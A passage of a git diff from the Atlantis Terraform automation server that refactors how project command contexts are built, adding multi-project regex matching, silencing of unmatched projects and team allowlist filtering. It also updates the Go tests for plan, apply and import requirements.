p.buildProjectCommandCtx( + ctx, + cmd.Name, + cmd.SubName, + cmd.ProjectName, + cmd.Flags, + repoDir, + repoRelDir, + workspace, + cmd.Verbose, + ) } -// buildProjectCommandCtx builds a context for a single project identified +// buildProjectCommandCtx builds a context for a single or several projects identified // by the parameters. -func (p *DefaultProjectCommandBuilder) buildProjectCommandCtx( - ctx *CommandContext, - cmd models.CommandName, +func (p *DefaultProjectCommandBuilder) buildProjectCommandCtx(ctx *command.Context, + cmd command.Name, + subCmd string, projectName string, commentFlags []string, repoDir string, repoRelDir string, workspace string, - verbose bool) (models.ProjectCommandContext, error) { + verbose bool) ([]command.ProjectContext, error) { - projCfgPtr, repoCfgPtr, err := p.getCfg(ctx, projectName, repoRelDir, workspace, repoDir) + matchingProjects, repoCfgPtr, err := p.getCfg(ctx, projectName, repoRelDir, workspace, repoDir) if err != nil { - return models.ProjectCommandContext{}, err + return []command.ProjectContext{}, err } - + var projCtxs []command.ProjectContext var projCfg valid.MergedProjectCfg - if projCfgPtr != nil { + automerge := p.EnableAutoMerge + parallelApply := p.EnableParallelApply + parallelPlan := p.EnableParallelPlan + abortOnExecutionOrderFail := DefaultAbortOnExecutionOrderFail + if repoCfgPtr != nil { + if repoCfgPtr.Automerge != nil { + automerge = *repoCfgPtr.Automerge + } + if repoCfgPtr.ParallelApply != nil { + parallelApply = *repoCfgPtr.ParallelApply + } + if repoCfgPtr.ParallelPlan != nil { + parallelPlan = *repoCfgPtr.ParallelPlan + } + abortOnExecutionOrderFail = repoCfgPtr.AbortOnExecutionOrderFail + } + + if len(matchingProjects) > 0 { // Override any dir/workspace defined on the comment with what was // defined in config. This shouldn't matter since we don't allow comments // with both project name and dir/workspace. repoRelDir = projCfg.RepoRelDir workspace = projCfg.Workspace - projCfg = p.GlobalCfg.MergeProjectCfg(ctx.Log, ctx.Pull.BaseRepo.ID(), *projCfgPtr, *repoCfgPtr) + for _, mp := range matchingProjects { + ctx.Log.Debug("Merging config for project at dir: '%s' workspace: '%s'", mp.Dir, mp.Workspace) + projCfg = p.GlobalCfg.MergeProjectCfg(ctx.Log, ctx.Pull.BaseRepo.ID(), mp, *repoCfgPtr) + + projCtxs = append(projCtxs, + p.ProjectCommandContextBuilder.BuildProjectContext( + ctx, + cmd, + subCmd, + projCfg, + commentFlags, + repoDir, + automerge, + parallelApply, + parallelPlan, + verbose, + abortOnExecutionOrderFail, + p.TerraformExecutor, + )...) + } } else { + // Ignore the project if silenced with projects set in the repo config + if p.SilenceNoProjects && repoCfgPtr != nil && len(repoCfgPtr.Projects) > 0 { + ctx.Log.Debug("silencing is in effect, project will be ignored") + return []command.ProjectContext{}, nil + } + projCfg = p.GlobalCfg.DefaultProjCfg(ctx.Log, ctx.Pull.BaseRepo.ID(), repoRelDir, workspace) + projCtxs = append(projCtxs, + p.ProjectCommandContextBuilder.BuildProjectContext( + ctx, + cmd, + subCmd, + projCfg, + commentFlags, + repoDir, + automerge, + parallelApply, + parallelPlan, + verbose, + abortOnExecutionOrderFail, + p.TerraformExecutor, + )...) } if err := p.validateWorkspaceAllowed(repoCfgPtr, repoRelDir, workspace); err != nil { - return models.ProjectCommandContext{}, err + return []command.ProjectContext{}, err } - automerge := DefaultAutomergeEnabled - parallelApply := DefaultParallelApplyEnabled - parallelPlan := DefaultParallelPlanEnabled - if repoCfgPtr != nil { - automerge = repoCfgPtr.Automerge - parallelApply = repoCfgPtr.ParallelApply - parallelPlan = repoCfgPtr.ParallelPlan - } - return p.buildCtx(ctx, cmd, projCfg, commentFlags, automerge, parallelApply, parallelPlan, verbose, repoDir), nil -} - -// getCfg returns the atlantis.yaml config (if it exists) for this project. If -// there is no config, then projectCfg and repoCfg will be nil. -func (p *DefaultProjectCommandBuilder) getCfg(ctx *CommandContext, projectName string, dir string, workspace string, repoDir string) (projectCfg *valid.Project, repoCfg *valid.RepoCfg, err error) { - hasConfigFile, err := p.ParserValidator.HasRepoCfg(repoDir) - if err != nil { - err = errors.Wrapf(err, "looking for %s file in %q", yaml.AtlantisYAMLFilename, repoDir) - return - } - if !hasConfigFile { - if projectName != "" { - err = fmt.Errorf("cannot specify a project name unless an %s file exists to configure projects", yaml.AtlantisYAMLFilename) - return + // Filter projects to only include ones the user is authorized for + projCtxs = slices.DeleteFunc(projCtxs, func(projCtx command.ProjectContext) bool { + if projCtx.TeamAllowlistChecker == nil || !projCtx.TeamAllowlistChecker.HasRules() { + // allowlist restriction is not enabled + return false } - return - } - - var repoConfig valid.RepoCfg - repoConfig, err = p.ParserValidator.ParseRepoCfg(repoDir, p.GlobalCfg, ctx.Pull.BaseRepo.ID()) - if err != nil { - return - } - repoCfg = &repoConfig - - // If they've specified a project by name we look it up. Otherwise we - // use the dir and workspace. - if projectName != "" { - projectCfg = repoCfg.FindProjectByName(projectName) - if projectCfg == nil { - err = fmt.Errorf("no project with name %q is defined in %s", projectName, yaml.AtlantisYAMLFilename) - return + ctx := models.TeamAllowlistCheckerContext{ + BaseRepo: projCtx.BaseRepo, + CommandName: projCtx.CommandName.String(), + EscapedCommentArgs: projCtx.EscapedCommentArgs, + HeadRepo: projCtx.HeadRepo, + Log: projCtx.Log, + Pull: projCtx.Pull, + ProjectName: projCtx.ProjectName, + RepoDir: repoDir, + RepoRelDir: projCtx.RepoRelDir, + User: projCtx.User, + Verbose: projCtx.Verbose, + Workspace: projCtx.Workspace, + API: false, } - return - } + return !projCtx.TeamAllowlistChecker.IsCommandAllowedForAnyTeam(ctx, projCtx.User.Teams, projCtx.CommandName.String()) + }) - projCfgs := repoCfg.FindProjectsByDirWorkspace(dir, workspace) - if len(projCfgs) == 0 { - return - } - if len(projCfgs) > 1 { - err = fmt.Errorf("must specify project name: more than one project defined in %s matched dir: %q workspace: %q", yaml.AtlantisYAMLFilename, dir, workspace) - return - } - projectCfg = &projCfgs[0] - return + return projCtxs, nil } // validateWorkspaceAllowed returns an error if repoCfg defines projects in @@ -384,124 +974,5 @@ func (p *DefaultProjectCommandBuilder) validateWorkspaceAllowed(repoCfg *valid.R return nil } - projects := repoCfg.FindProjectsByDir(repoRelDir) - - // If that directory doesn't have any projects configured then we don't - // enforce workspace names. - if len(projects) == 0 { - return nil - } - - var configuredSpaces []string - for _, p := range projects { - if p.Workspace == workspace { - return nil - } - configuredSpaces = append(configuredSpaces, p.Workspace) - } - - return fmt.Errorf( - "running commands in workspace %q is not allowed because this"+ - " directory is only configured for the following workspaces: %s", - workspace, - strings.Join(configuredSpaces, ", "), - ) -} - -// buildCtx is a helper method that handles constructing the ProjectCommandContext. -func (p *DefaultProjectCommandBuilder) buildCtx(ctx *CommandContext, - cmd models.CommandName, - projCfg valid.MergedProjectCfg, - commentArgs []string, - automergeEnabled bool, - parallelApplyEnabled bool, - parallelPlanEnabled bool, - verbose bool, - absRepoDir string) models.ProjectCommandContext { - - var steps []valid.Step - switch cmd { - case models.PlanCommand: - steps = projCfg.Workflow.Plan.Steps - case models.ApplyCommand: - steps = projCfg.Workflow.Apply.Steps - } - - // If TerraformVersion not defined in config file look for a - // terraform.require_version block. - if projCfg.TerraformVersion == nil { - projCfg.TerraformVersion = p.getTfVersion(ctx, filepath.Join(absRepoDir, projCfg.RepoRelDir)) - } - - return models.ProjectCommandContext{ - ApplyCmd: p.CommentBuilder.BuildApplyComment(projCfg.RepoRelDir, projCfg.Workspace, projCfg.Name), - BaseRepo: ctx.Pull.BaseRepo, - EscapedCommentArgs: p.escapeArgs(commentArgs), - AutomergeEnabled: automergeEnabled, - ParallelApplyEnabled: parallelApplyEnabled, - ParallelPlanEnabled: parallelPlanEnabled, - AutoplanEnabled: projCfg.AutoplanEnabled, - Steps: steps, - HeadRepo: ctx.HeadRepo, - Log: ctx.Log, - PullMergeable: ctx.PullMergeable, - Pull: ctx.Pull, - ProjectName: projCfg.Name, - ApplyRequirements: projCfg.ApplyRequirements, - RePlanCmd: p.CommentBuilder.BuildPlanComment(projCfg.RepoRelDir, projCfg.Workspace, projCfg.Name, commentArgs), - RepoRelDir: projCfg.RepoRelDir, - RepoConfigVersion: projCfg.RepoCfgVersion, - TerraformVersion: projCfg.TerraformVersion, - User: ctx.User, - Verbose: verbose, - Workspace: projCfg.Workspace, - } -} - -func (p *DefaultProjectCommandBuilder) escapeArgs(args []string) []string { - var escaped []string - for _, arg := range args { - var escapedArg string - for i := range arg { - escapedArg += "\\" + string(arg[i]) - } - escaped = append(escaped, escapedArg) - } - return escaped -} - -// Extracts required_version from Terraform configuration. -// Returns nil if unable to determine version from configuration. -func (p *DefaultProjectCommandBuilder) getTfVersion(ctx *CommandContext, absProjDir string) *version.Version { - module, diags := tfconfig.LoadModule(absProjDir) - if diags.HasErrors() { - ctx.Log.Err("trying to detect required version: %s", diags.Error()) - for _, d := range diags { - ctx.Log.Debug("%s in %s:%d", d.Detail, d.Pos.Filename, d.Pos.Line) - } - return nil - } - - if len(module.RequiredCore) != 1 { - ctx.Log.Info("cannot determine which version to use from terraform configuration, detected %d possibilities.", len(module.RequiredCore)) - return nil - } - requiredVersionSetting := module.RequiredCore[0] - - // We allow `= x.y.z`, `=x.y.z` or `x.y.z` where `x`, `y` and `z` are integers. - re := regexp.MustCompile(`^=?\s*([^\s]+)\s*$`) - matched := re.FindStringSubmatch(requiredVersionSetting) - if len(matched) == 0 { - ctx.Log.Debug("did not specify exact version in terraform configuration, found %q", requiredVersionSetting) - return nil - } - ctx.Log.Debug("found required_version setting of %q", requiredVersionSetting) - version, err := version.NewVersion(matched[1]) - if err != nil { - ctx.Log.Debug(err.Error()) - return nil - } - - ctx.Log.Info("detected module requires version: %q", version.String()) - return version + return repoCfg.ValidateWorkspaceAllowed(repoRelDir, workspace) } diff --git a/server/events/project_command_builder_internal_test.go b/server/events/project_command_builder_internal_test.go index 2ccbec4517..7f35e01c04 100644 --- a/server/events/project_command_builder_internal_test.go +++ b/server/events/project_command_builder_internal_test.go @@ -1,22 +1,31 @@ package events import ( - "io/ioutil" + "os" "path/filepath" "testing" version "github.com/hashicorp/go-version" - . "github.com/petergtz/pegomock" - "github.com/runatlantis/atlantis/server/events/matchers" + . "github.com/petergtz/pegomock/v4" + "github.com/runatlantis/atlantis/server/core/config" + "github.com/runatlantis/atlantis/server/core/config/valid" + tfclientmocks "github.com/runatlantis/atlantis/server/core/terraform/tfclient/mocks" + "github.com/runatlantis/atlantis/server/events/command" "github.com/runatlantis/atlantis/server/events/models" vcsmocks "github.com/runatlantis/atlantis/server/events/vcs/mocks" - "github.com/runatlantis/atlantis/server/events/yaml" - "github.com/runatlantis/atlantis/server/events/yaml/valid" + "github.com/runatlantis/atlantis/server/logging" + "github.com/runatlantis/atlantis/server/metrics" . "github.com/runatlantis/atlantis/testing" ) // Test different permutations of global and repo config. func TestBuildProjectCmdCtx(t *testing.T) { + logger := logging.NewNoopLogger(t) + statsScope, _, _ := metrics.NewLoggingScope(logging.NewNoopLogger(t), "atlantis") + emptyPolicySets := valid.PolicySets{ + Version: nil, + PolicySets: []valid.PolicySet{}, + } baseRepo := models.Repo{ FullName: "owner/repo", VCSHost: models.VCSHost{ @@ -30,7 +39,7 @@ func TestBuildProjectCmdCtx(t *testing.T) { globalCfg string repoCfg string expErr string - expCtx models.ProjectCommandContext + expCtx command.ProjectContext expPlanSteps []string expApplySteps []string }{ @@ -51,23 +60,31 @@ workflows: steps: - apply`, repoCfg: "", - expCtx: models.ProjectCommandContext{ + expCtx: command.ProjectContext{ ApplyCmd: "atlantis apply -d project1 -w myworkspace", + ApprovePoliciesCmd: "atlantis approve_policies -d project1 -w myworkspace", BaseRepo: baseRepo, EscapedCommentArgs: []string{`\f\l\a\g`}, AutomergeEnabled: false, AutoplanEnabled: true, HeadRepo: models.Repo{}, - Log: nil, - PullMergeable: true, + Log: logger, + Scope: statsScope, + PullReqStatus: models.PullReqStatus{ + Mergeable: true, + }, Pull: pull, ProjectName: "", + PlanRequirements: []string{}, ApplyRequirements: []string{}, + ImportRequirements: []string{}, RePlanCmd: "atlantis plan -d project1 -w myworkspace -- flag", RepoRelDir: "project1", User: models.User{}, Verbose: true, Workspace: "myworkspace", + PolicySets: emptyPolicySets, + RepoLocksMode: valid.DefaultRepoLocksMode, }, expPlanSteps: []string{"init", "plan"}, expApplySteps: []string{"apply"}, @@ -100,18 +117,24 @@ projects: when_modified: [../modules/**/*.tf] terraform_version: v10.0 `, - expCtx: models.ProjectCommandContext{ + expCtx: command.ProjectContext{ ApplyCmd: "atlantis apply -d project1 -w myworkspace", + ApprovePoliciesCmd: "atlantis approve_policies -d project1 -w myworkspace", BaseRepo: baseRepo, EscapedCommentArgs: []string{`\f\l\a\g`}, AutomergeEnabled: true, AutoplanEnabled: true, HeadRepo: models.Repo{}, - Log: nil, - PullMergeable: true, + Log: logger, + Scope: statsScope, + PullReqStatus: models.PullReqStatus{ + Mergeable: true, + }, Pull: pull, ProjectName: "", + PlanRequirements: []string{}, ApplyRequirements: []string{}, + ImportRequirements: []string{}, RepoConfigVersion: 3, RePlanCmd: "atlantis plan -d project1 -w myworkspace -- flag", RepoRelDir: "project1", @@ -119,18 +142,22 @@ projects: User: models.User{}, Verbose: true, Workspace: "myworkspace", + PolicySets: emptyPolicySets, + RepoLocksMode: valid.DefaultRepoLocksMode, }, expPlanSteps: []string{"init", "plan"}, expApplySteps: []string{"apply"}, }, // Set a global apply req that should be used. - "global apply_requirements": { + "global requirements": { globalCfg: ` repos: - id: /.*/ workflow: default + plan_requirements: [approved, mergeable] apply_requirements: [approved, mergeable] + import_requirements: [approved, mergeable] workflows: default: plan: @@ -151,18 +178,24 @@ projects: when_modified: [../modules/**/*.tf] terraform_version: v10.0 `, - expCtx: models.ProjectCommandContext{ + expCtx: command.ProjectContext{ ApplyCmd: "atlantis apply -d project1 -w myworkspace", + ApprovePoliciesCmd: "atlantis approve_policies -d project1 -w myworkspace", BaseRepo: baseRepo, EscapedCommentArgs: []string{`\f\l\a\g`}, AutomergeEnabled: true, AutoplanEnabled: true, HeadRepo: models.Repo{}, - Log: nil, - PullMergeable: true, + Log: logger, + Scope: statsScope, + PullReqStatus: models.PullReqStatus{ + Mergeable: true, + }, Pull: pull, ProjectName: "", + PlanRequirements: []string{"approved", "mergeable"}, ApplyRequirements: []string{"approved", "mergeable"}, + ImportRequirements: []string{"approved", "mergeable"}, RepoConfigVersion: 3, RePlanCmd: "atlantis plan -d project1 -w myworkspace -- flag", RepoRelDir: "project1", @@ -170,6 +203,8 @@ projects: User: models.User{}, Verbose: true, Workspace: "myworkspace", + PolicySets: emptyPolicySets, + RepoLocksMode: valid.DefaultRepoLocksMode, }, expPlanSteps: []string{"init", "plan"}, expApplySteps: []string{"apply"}, @@ -183,7 +218,9 @@ repos: workflow: default - id: github.com/owner/repo workflow: specific + plan_requirements: [approved] apply_requirements: [approved] + import_requirements: [approved] workflows: default: plan: @@ -210,18 +247,24 @@ projects: when_modified: [../modules/**/*.tf] terraform_version: v10.0 `, - expCtx: models.ProjectCommandContext{ + expCtx: command.ProjectContext{ ApplyCmd: "atlantis apply -d project1 -w myworkspace", + ApprovePoliciesCmd: "atlantis approve_policies -d project1 -w myworkspace", BaseRepo: baseRepo, EscapedCommentArgs: []string{`\f\l\a\g`}, AutomergeEnabled: true, AutoplanEnabled: true, HeadRepo: models.Repo{}, - Log: nil, - PullMergeable: true, + Log: logger, + Scope: statsScope, + PullReqStatus: models.PullReqStatus{ + Mergeable: true, + }, Pull: pull, ProjectName: "", + PlanRequirements: []string{"approved"}, ApplyRequirements: []string{"approved"}, + ImportRequirements: []string{"approved"}, RepoConfigVersion: 3, RePlanCmd: "atlantis plan -d project1 -w myworkspace -- flag", RepoRelDir: "project1", @@ -229,6 +272,8 @@ projects: User: models.User{}, Verbose: true, Workspace: "myworkspace", + PolicySets: emptyPolicySets, + RepoLocksMode: valid.DefaultRepoLocksMode, }, expPlanSteps: []string{"plan"}, expApplySteps: []string{}, @@ -326,7 +371,8 @@ repos: - id: /.*/ workflow: default apply_requirements: [approved] - allowed_overrides: [apply_requirements, workflow] + import_requirements: [approved] + allowed_overrides: [apply_requirements, import_requirements, workflow] allow_custom_workflows: true workflows: default: @@ -346,6 +392,7 @@ projects: when_modified: [../modules/**/*.tf] terraform_version: v10.0 apply_requirements: [] + import_requirements: [] workflow: custom workflows: custom: @@ -356,18 +403,24 @@ workflows: steps: - apply `, - expCtx: models.ProjectCommandContext{ + expCtx: command.ProjectContext{ ApplyCmd: "atlantis apply -d project1 -w myworkspace", + ApprovePoliciesCmd: "atlantis approve_policies -d project1 -w myworkspace", BaseRepo: baseRepo, EscapedCommentArgs: []string{`\f\l\a\g`}, AutomergeEnabled: true, AutoplanEnabled: true, HeadRepo: models.Repo{}, - Log: nil, - PullMergeable: true, + Log: logger, + Scope: statsScope, + PullReqStatus: models.PullReqStatus{ + Mergeable: true, + }, Pull: pull, ProjectName: "", + PlanRequirements: []string{}, ApplyRequirements: []string{}, + ImportRequirements: []string{}, RepoConfigVersion: 3, RePlanCmd: "atlantis plan -d project1 -w myworkspace -- flag", RepoRelDir: "project1", @@ -375,6 +428,8 @@ workflows: User: models.User{}, Verbose: true, Workspace: "myworkspace", + PolicySets: emptyPolicySets, + RepoLocksMode: valid.DefaultRepoLocksMode, }, expPlanSteps: []string{"plan"}, expApplySteps: []string{"apply"}, @@ -411,18 +466,24 @@ projects: terraform_version: v10.0 workflow: custom `, - expCtx: models.ProjectCommandContext{ + expCtx: command.ProjectContext{ ApplyCmd: "atlantis apply -d project1 -w myworkspace", + ApprovePoliciesCmd: "atlantis approve_policies -d project1 -w myworkspace", BaseRepo: baseRepo, EscapedCommentArgs: []string{`\f\l\a\g`}, AutomergeEnabled: true, AutoplanEnabled: true, HeadRepo: models.Repo{}, - Log: nil, - PullMergeable: true, + Log: logger, + Scope: statsScope, + PullReqStatus: models.PullReqStatus{ + Mergeable: true, + }, Pull: pull, ProjectName: "", + PlanRequirements: []string{}, ApplyRequirements: []string{}, + ImportRequirements: []string{}, RepoConfigVersion: 3, RePlanCmd: "atlantis plan -d project1 -w myworkspace -- flag", RepoRelDir: "project1", @@ -430,6 +491,8 @@ projects: User: models.User{}, Verbose: true, Workspace: "myworkspace", + PolicySets: emptyPolicySets, + RepoLocksMode: valid.DefaultRepoLocksMode, }, expPlanSteps: []string{"plan"}, expApplySteps: []string{"apply"}, @@ -469,18 +532,24 @@ workflows: apply: steps: [] `, - expCtx: models.ProjectCommandContext{ + expCtx: command.ProjectContext{ ApplyCmd: "atlantis apply -d project1 -w myworkspace", + ApprovePoliciesCmd: "atlantis approve_policies -d project1 -w myworkspace", BaseRepo: baseRepo, EscapedCommentArgs: []string{`\f\l\a\g`}, AutomergeEnabled: true, AutoplanEnabled: true, HeadRepo: models.Repo{}, - Log: nil, - PullMergeable: true, + Log: logger, + Scope: statsScope, + PullReqStatus: models.PullReqStatus{ + Mergeable: true, + }, Pull: pull, ProjectName: "", + PlanRequirements: []string{}, ApplyRequirements: []string{}, + ImportRequirements: []string{}, RepoConfigVersion: 3, RePlanCmd: "atlantis plan -d project1 -w myworkspace -- flag", RepoRelDir: "project1", @@ -488,6 +557,8 @@ workflows: User: models.User{}, Verbose: true, Workspace: "myworkspace", + PolicySets: emptyPolicySets, + RepoLocksMode: valid.DefaultRepoLocksMode, }, expPlanSteps: []string{}, expApplySteps: []string{}, @@ -497,7 +568,9 @@ workflows: globalCfg: ` repos: - id: /.*/ + plan_requirements: [approved] apply_requirements: [approved] + import_requirements: [approved] - id: github.com/owner/repo workflow: custom workflows: @@ -511,24 +584,32 @@ projects: - dir: project1 workspace: myworkspace `, - expCtx: models.ProjectCommandContext{ + expCtx: command.ProjectContext{ ApplyCmd: "atlantis apply -d project1 -w myworkspace", + ApprovePoliciesCmd: "atlantis approve_policies -d project1 -w myworkspace", BaseRepo: baseRepo, EscapedCommentArgs: []string{`\f\l\a\g`}, AutomergeEnabled: false, AutoplanEnabled: true, HeadRepo: models.Repo{}, - Log: nil, - PullMergeable: true, + Log: logger, + Scope: statsScope, + PullReqStatus: models.PullReqStatus{ + Mergeable: true, + }, Pull: pull, ProjectName: "", + PlanRequirements: []string{"approved"}, ApplyRequirements: []string{"approved"}, + ImportRequirements: []string{"approved"}, RepoConfigVersion: 3, RePlanCmd: "atlantis plan -d project1 -w myworkspace -- flag", RepoRelDir: "project1", User: models.User{}, Verbose: true, Workspace: "myworkspace", + PolicySets: emptyPolicySets, + RepoLocksMode: valid.DefaultRepoLocksMode, }, expPlanSteps: []string{"plan"}, expApplySteps: []string{"apply"}, @@ -537,7 +618,7 @@ projects: for name, c := range cases { t.Run(name, func(t *testing.T) { - tmp, cleanup := DirStructure(t, map[string]interface{}{ + tmp := DirStructure(t, map[string]interface{}{ "project1": map[string]interface{}{ "main.tf": nil, }, @@ -547,45 +628,66 @@ projects: }, }, }) - defer cleanup() workingDir := NewMockWorkingDir() - When(workingDir.Clone(matchers.AnyPtrToLoggingSimpleLogger(), matchers.AnyModelsRepo(), matchers.AnyModelsPullRequest(), AnyString())).ThenReturn(tmp, false, nil) + When(workingDir.Clone(Any[logging.SimpleLogging](), Any[models.Repo](), Any[models.PullRequest](), + Any[string]())).ThenReturn(tmp, nil) vcsClient := vcsmocks.NewMockClient() - When(vcsClient.GetModifiedFiles(matchers.AnyModelsRepo(), matchers.AnyModelsPullRequest())).ThenReturn([]string{"modules/module/main.tf"}, nil) + When(vcsClient.GetModifiedFiles(Any[logging.SimpleLogging](), Any[models.Repo](), + Any[models.PullRequest]())).ThenReturn([]string{"modules/module/main.tf"}, nil) // Write and parse the global config file. globalCfgPath := filepath.Join(tmp, "global.yaml") - Ok(t, ioutil.WriteFile(globalCfgPath, []byte(c.globalCfg), 0600)) - parser := &yaml.ParserValidator{} - globalCfg, err := parser.ParseGlobalCfg(globalCfgPath, valid.NewGlobalCfg(false, false, false)) + Ok(t, os.WriteFile(globalCfgPath, []byte(c.globalCfg), 0600)) + parser := &config.ParserValidator{} + globalCfgArgs := valid.GlobalCfgArgs{} + globalCfg, err := parser.ParseGlobalCfg(globalCfgPath, valid.NewGlobalCfgFromArgs(globalCfgArgs)) Ok(t, err) if c.repoCfg != "" { - Ok(t, ioutil.WriteFile(filepath.Join(tmp, "atlantis.yaml"), []byte(c.repoCfg), 0600)) + Ok(t, os.WriteFile(filepath.Join(tmp, "atlantis.yaml"), []byte(c.repoCfg), 0600)) } - builder := &DefaultProjectCommandBuilder{ - WorkingDirLocker: NewDefaultWorkingDirLocker(), - WorkingDir: workingDir, - ParserValidator: parser, - VCSClient: vcsClient, - ProjectFinder: &DefaultProjectFinder{}, - PendingPlanFinder: &DefaultPendingPlanFinder{}, - CommentBuilder: &CommentParser{}, - GlobalCfg: globalCfg, - SkipCloneNoChanges: false, - } + terraformClient := tfclientmocks.NewMockClient() + + builder := NewProjectCommandBuilder( + false, + parser, + &DefaultProjectFinder{}, + vcsClient, + workingDir, + NewDefaultWorkingDirLocker(), + globalCfg, + &DefaultPendingPlanFinder{}, + &CommentParser{ExecutableName: "atlantis"}, + false, + false, + false, + false, + false, + "", + "**/*.tf,**/*.tfvars,**/*.tfvars.json,**/terragrunt.hcl,**/.terraform.lock.hcl", + false, + false, + false, + "auto", + statsScope, + terraformClient, + ) // We run a test for each type of command. - for _, cmd := range []models.CommandName{models.PlanCommand, models.ApplyCommand} { + for _, cmd := range []command.Name{command.Plan, command.Apply} { t.Run(cmd.String(), func(t *testing.T) { - ctx, err := builder.buildProjectCommandCtx(&CommandContext{ + ctxs, err := builder.buildProjectCommandCtx(&command.Context{ + Log: logger, + Scope: statsScope, Pull: models.PullRequest{ BaseRepo: baseRepo, }, - PullMergeable: true, - }, cmd, "", []string{"flag"}, tmp, "project1", "myworkspace", true) + PullRequestStatus: models.PullReqStatus{ + Mergeable: true, + }, + }, cmd, "", "", []string{"flag"}, tmp, "project1", "myworkspace", true) if c.expErr != "" { ErrEquals(t, c.expErr, err) @@ -593,13 +695,14 @@ projects: } Ok(t, err) + ctx := ctxs[0] // Construct expected steps. var stepNames []string switch cmd { - case models.PlanCommand: + case command.Plan: stepNames = c.expPlanSteps - case models.ApplyCommand: + case command.Apply: stepNames = c.expApplySteps } var expSteps []valid.Step @@ -609,8 +712,13 @@ projects: }) } + c.expCtx.CommandName = cmd // Init fields we couldn't in our cases map. c.expCtx.Steps = expSteps + ctx.PolicySets = emptyPolicySets + + // Job ID cannot be compared since its generated at random + ctx.JobID = "" Equals(t, c.expCtx, ctx) // Equals() doesn't compare TF version properly so have to @@ -624,6 +732,726 @@ projects: } } +func TestBuildProjectCmdCtx_WithRegExpCmdEnabled(t *testing.T) { + statsScope, _, _ := metrics.NewLoggingScope(logging.NewNoopLogger(t), "atlantis") + emptyPolicySets := valid.PolicySets{ + Version: nil, + PolicySets: []valid.PolicySet{}, + } + baseRepo := models.Repo{ + FullName: "owner/repo", + VCSHost: models.VCSHost{ + Hostname: "github.com", + }, + } + pull := models.PullRequest{ + BaseRepo: baseRepo, + } + cases := map[string]struct { + globalCfg string + repoCfg string + expErr string + expCtx command.ProjectContext + expPlanSteps []string + expApplySteps []string + }{ + + // Test that if we've set global defaults, that they are used but the + // allowed project config values also come through. + "global defaults with repo cfg": { + globalCfg: ` +repos: +- id: /.*/ + workflow: default +workflows: + default: + plan: + steps: + - init + - plan + apply: + steps: + - apply`, + repoCfg: ` +version: 3 +automerge: true +projects: +- name: myproject_1 + dir: project1 + workspace: myworkspace + autoplan: + enabled: true + when_modified: [../modules/**/*.tf] + terraform_version: v10.0 +- name: myproject_2 + dir: project2 + workspace: myworkspace + autoplan: + enabled: true + when_modified: [../modules/**/*.tf] + terraform_version: v10.0 +- name: myproject_3 + dir: project3 + workspace: myworkspace + autoplan: + enabled: true + when_modified: [../modules/**/*.tf] + terraform_version: v10.0 + `, + expCtx: command.ProjectContext{ + ApplyCmd: "atlantis apply -p myproject_1", + ApprovePoliciesCmd: "atlantis approve_policies -p myproject_1", + BaseRepo: baseRepo, + EscapedCommentArgs: []string{`\f\l\a\g`}, + AutomergeEnabled: true, + AutoplanEnabled: true, + HeadRepo: models.Repo{}, + Log: logging.NewNoopLogger(t), + Scope: statsScope, + PullReqStatus: models.PullReqStatus{ + Mergeable: true, + }, + Pull: pull, + ProjectName: "myproject_1", + PlanRequirements: []string{}, + ApplyRequirements: []string{}, + ImportRequirements: []string{}, + RepoConfigVersion: 3, + RePlanCmd: "atlantis plan -p myproject_1 -- flag", + RepoRelDir: "project1", + TerraformVersion: mustVersion("10.0"), + User: models.User{}, + Verbose: true, + Workspace: "myworkspace", + PolicySets: emptyPolicySets, + RepoLocksMode: valid.DefaultRepoLocksMode, + }, + expPlanSteps: []string{"init", "plan"}, + expApplySteps: []string{"apply"}, + }, + } + + for name, c := range cases { + t.Run(name, func(t *testing.T) { + tmp := DirStructure(t, map[string]interface{}{ + "project1": map[string]interface{}{ + "main.tf": nil, + }, + "modules": map[string]interface{}{ + "module": map[string]interface{}{ + "main.tf": nil, + }, + }, + }) + + workingDir := NewMockWorkingDir() + When(workingDir.Clone(Any[logging.SimpleLogging](), Any[models.Repo](), Any[models.PullRequest](), + Any[string]())).ThenReturn(tmp, nil) + vcsClient := vcsmocks.NewMockClient() + When(vcsClient.GetModifiedFiles(Any[logging.SimpleLogging](), Any[models.Repo](), + Any[models.PullRequest]())).ThenReturn([]string{"modules/module/main.tf"}, nil) + + // Write and parse the global config file. + globalCfgPath := filepath.Join(tmp, "global.yaml") + Ok(t, os.WriteFile(globalCfgPath, []byte(c.globalCfg), 0600)) + parser := &config.ParserValidator{} + globalCfgArgs := valid.GlobalCfgArgs{} + globalCfg, err := parser.ParseGlobalCfg(globalCfgPath, valid.NewGlobalCfgFromArgs(globalCfgArgs)) + Ok(t, err) + + if c.repoCfg != "" { + Ok(t, os.WriteFile(filepath.Join(tmp, "atlantis.yaml"), []byte(c.repoCfg), 0600)) + } + + statsScope, _, _ := metrics.NewLoggingScope(logging.NewNoopLogger(t), "atlantis") + + terraformClient := tfclientmocks.NewMockClient() + + builder := NewProjectCommandBuilder( + false, + parser, + &DefaultProjectFinder{}, + vcsClient, + workingDir, + NewDefaultWorkingDirLocker(), + globalCfg, + &DefaultPendingPlanFinder{}, + &CommentParser{ExecutableName: "atlantis"}, + false, + true, + false, + false, + false, + "", + "**/*.tf,**/*.tfvars,**/*.tfvars.json,**/terragrunt.hcl,**/.terraform.lock.hcl", + false, + false, + false, + "auto", + statsScope, + terraformClient, + ) + + // We run a test for each type of command, again specific projects + for _, cmd := range []command.Name{command.Plan, command.Apply} { + t.Run(cmd.String(), func(t *testing.T) { + ctxs, err := builder.buildProjectCommandCtx(&command.Context{ + Pull: models.PullRequest{ + BaseRepo: baseRepo, + }, + Log: logging.NewNoopLogger(t), + Scope: statsScope, + PullRequestStatus: models.PullReqStatus{ + Mergeable: true, + }, + }, cmd, "", "myproject_[1-2]", []string{"flag"}, tmp, "project1", "myworkspace", true) + + if c.expErr != "" { + ErrEquals(t, c.expErr, err) + return + } + + Ok(t, err) + ctx := ctxs[0] + + Equals(t, 2, len(ctxs)) + // Construct expected steps. + var stepNames []string + switch cmd { + case command.Plan: + stepNames = c.expPlanSteps + case command.Apply: + stepNames = c.expApplySteps + } + var expSteps []valid.Step + for _, stepName := range stepNames { + expSteps = append(expSteps, valid.Step{ + StepName: stepName, + }) + } + + c.expCtx.CommandName = cmd + // Init fields we couldn't in our cases map. + c.expCtx.Steps = expSteps + ctx.PolicySets = emptyPolicySets + + // Job ID cannot be compared since its generated at random + ctx.JobID = "" + + Equals(t, c.expCtx, ctx) + // Equals() doesn't compare TF version properly so have to + // use .String(). + if c.expCtx.TerraformVersion != nil { + Equals(t, c.expCtx.TerraformVersion.String(), ctx.TerraformVersion.String()) + } 